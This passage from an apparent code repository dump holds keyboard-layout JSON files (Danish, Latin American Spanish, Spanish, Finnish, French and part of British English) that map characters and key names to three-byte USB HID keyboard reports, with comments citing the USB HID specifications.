"k": "00,00,0e",
"l": "00,00,0f",
"m": "00,00,10",
"n": "00,00,11",
"o": "00,00,12",
"p": "00,00,13",
"q": "00,00,14",
"r": "00,00,15",
"s": "00,00,16",
"t": "00,00,17",
"u": "00,00,18",
"v": "00,00,19",
"w": "00,00,1a",
"x": "00,00,1b",
"z": "00,00,1c",
"y": "00,00,1d",
"ENTER": "00,00,28",
"ESC": "00,00,29",
"ESCAPE": "00,00,29",
"TAB": "00,00,2b",
" ": "00,00,2c",
"SPACE": "00,00,2c",
"+": "00,00,30",
"#": "00,00,31",
"<": "00,00,35",
",": "00,00,36",
".": "00,00,37",
"-": "00,00,38",
"CAPSLOCK": "00,00,39",
"F1": "00,00,3a",
"F2": "00,00,3b",
"F3": "00,00,3c",
"F4": "00,00,3d",
"F5": "00,00,3e",
"F6": "00,00,3f",
"F7": "00,00,40",
"F8": "00,00,41",
"F9": "00,00,42",
"F10": "00,00,43",
"F11": "00,00,44",
"F12": "00,00,45",
"PRINTSCREEN": "00,00,46",
"SCROLLLOCK": "00,00,47",
"BREAK": "00,00,48",
"PAUSE": "00,00,48",
"INSERT": "00,00,49",
"HOME": "00,00,4a",
"PAGEUP": "00,00,4b",
"DEL": "00,00,4c",
"DELETE": "00,00,4c",
"END": "00,00,4d",
"PAGEDOWN": "00,00,4e",
"RIGHT": "00,00,4f",
"RIGHTARROW": "00,00,4f",
"LEFT": "00,00,50",
"LEFTARROW": "00,00,50",
"DOWN": "00,00,51",
"DOWNARROW": "00,00,51",
"UP": "00,00,52",
"UPARROW": "00,00,52",
"NUMLOCK": "00,00,53",
"^": "00,00,64",
"APP": "00,00,65",
"MENU": "00,00,65",
"ALT-TAB": "00,00,71",
"CONTROL": "01,00,00",
"CTRL": "01,00,00",
"SHIFT": "02,00,00",
"A": "02,00,04",
"B": "02,00,05",
"C": "02,00,06",
"D": "02,00,07",
"E": "02,00,08",
"F": "02,00,09",
"G": "02,00,0a",
"H": "02,00,0b",
"I": "02,00,0c",
"J": "02,00,0d",
"K": "02,00,0e",
"L": "02,00,0f",
"M": "02,00,10",
"N": "02,00,11",
"O": "02,00,12",
"P": "02,00,13",
"Q": "02,00,14",
"R": "02,00,15",
"S": "02,00,16",
"T": "02,00,17",
"U": "02,00,18",
"V": "02,00,19",
"W": "02,00,1a",
"X": "02,00,1b",
"Z": "02,00,1c",
"Y": "02,00,1d",
"!": "02,00,1e",
"\"": "02,00,1f",
"$": "02,00,21",
"%": "02,00,22",
"&": "02,00,23",
"/": "02,00,24",
"(": "02,00,25",
")": "02,00,26",
"=": "02,00,27",
"?": "02,00,2d",
"`": "02,00,2e",
"*": "02,00,30",
"'": "02,00,31",
">": "02,00,35",
";": "02,00,36",
":": "02,00,37",
"_": "02,00,38",
"CTRL-SHIFT": "03,00,00",
"ALT": "04,00,00",
"CTRL-ALT": "05,00,00",
"ALT-SHIFT": "06,00,00",
"COMMAND": "08,00,00",
"GUI": "08,00,00",
"WINDOWS": "08,00,00",
"COMMAND-OPTION": "12,00,00",
"~": "40,00,11",
"@": "40,00,0f",
"[": "40,00,22",
"]": "40,00,23",
"\\": "42,00,24",
"|": "40,00,24",
"{": "40,00,25",
"}": "40,00,26",
"COMMAND-CTRL-SHIFT": "40,00,64",
"COMMAND-CTRL": "40,00,64",
"COMMAND-OPTION-SHIFT'": "40,00,64",
"ß": "00,00,2d",
"€": "40,00,08",
"§": "02,00,20",
"ä": "00,00,34",
"ö": "00,00,33",
"ü": "00,00,2f",
"Ä": "02,00,34",
"Ö": "02,00,33",
"Ü": "02,00,2f"
}
================================================
FILE: languages/dk.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,2d",
"'":"00,00,31",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"^":"02,00,30",
"*":"02,00,31",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"$":"40,00,21",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"|":"40,00,2e",
"~":"40,00,30",
"\\":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64"
}
================================================
FILE: languages/es-la.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"¿":"00,00,2e",
"´":"00,00,2f",
"+":"00,00,30",
"ñ":"00,00,31",
"{":"00,00,33",
"}":"00,00,34",
"|":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"¡":"02,00,2e",
"¨":"02,00,2f",
"*":"02,00,30",
"Ñ":"02,00,31",
"[":"02,00,33",
"]":"02,00,34",
"°":"02,00,35",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"\\":"04,00,2d",
"~":"04,00,30",
"^":"04,00,33",
"`":"04,00,34",
"¬":"04,00,35",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"COMMAND-CTRL-SHIFT":"12,00,00",
"COMMAND-CTRL":"12,00,00",
"COMMAND-OPTION-SHIFT'":"12,00,00"
}
================================================
FILE: languages/es.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"'":"00,00,2d",
"+":"00,00,30",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"^":"02,00,2e",
"*":"02,00,30",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"|":"40,00,1e",
"@":"40,00,1f",
"#":"40,00,20",
"~":"40,00,21",
"[":"40,00,2f",
"]":"40,00,30",
"\\":"40,00,35",
"`":"40,00,35",
"{":"42,00,2f",
"}":"42,00,30",
"COMMAND-CTRL-SHIFT":"42,00,30",
"COMMAND-CTRL":"42,00,30",
"COMMAND-OPTION-SHIFT'":"42,00,30"
}
================================================
FILE: languages/fi.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,2d",
"'":"00,00,31",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"Z":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"#":"02,00,20",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"^":"02,00,30",
"*":"02,00,31",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,1f",
"$":"40,00,21",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"\\":"40,00,2d",
"~":"40,00,30",
"|":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64"
}
================================================
FILE: languages/fr.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"q":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
",":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"a":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"z":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"w":"00,00,1d",
"&":"00,00,1e",
"\"":"00,00,20",
"'":"00,00,21",
"(":"00,00,22",
"-":"00,00,23",
"_":"00,00,25",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
")":"00,00,2d",
"=":"00,00,2e",
"$":"00,00,30",
"*":"00,00,31",
"m":"00,00,33",
";":"00,00,36",
":":"00,00,37",
"!":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"Q":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"?":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"A":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"Z":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"W":"02,00,1d",
"1":"02,00,1e",
"2":"02,00,1f",
"3":"02,00,20",
"4":"02,00,21",
"5":"02,00,22",
"6":"02,00,23",
"7":"02,00,24",
"8":"02,00,25",
"9":"02,00,26",
"0":"02,00,27",
"+":"02,00,2e",
"M":"02,00,33",
"%":"02,00,34",
".":"02,00,36",
"/":"02,00,37",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"~":"40,00,1f",
"#":"40,00,20",
"{":"40,00,21",
"[":"40,00,22",
"|":"40,00,23",
"`":"40,00,24",
"\\":"40,00,25",
"^":"40,00,26",
"@":"40,00,27",
"]":"40,00,2d",
"}":"40,00,2e",
"COMMAND-CTRL-SHIFT":"40,00,2e",
"COMMAND-CTRL":"40,00,2e",
"COMMAND-OPTION-SHIFT'":"40,00,2e"
}
================================================
FILE: languages/gb.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"z":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"BACKSPACE":"00,00,2a",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"-":"00,00,2d",
"=":"00,00,2e",
"[":"00,00,2f",
"]":"00,00,30",
"#":"00,00,31",
";":"00,00,33",
"'":"00,00,34",
"`":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"/":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"NUMLOCK":"00,00,53",
"KPAD_SLASH":"00,00,54",
"KPAD_ASTERISK":"00,00,55",
"KPAD_MINUS":"00,00,56",
"KPAD_PLUS":"00,00,57",
"KPAD_ENTER":"00,00,58",
"KPAD_1":"00,00,59",
"KPAD_2":"00,00,5a",
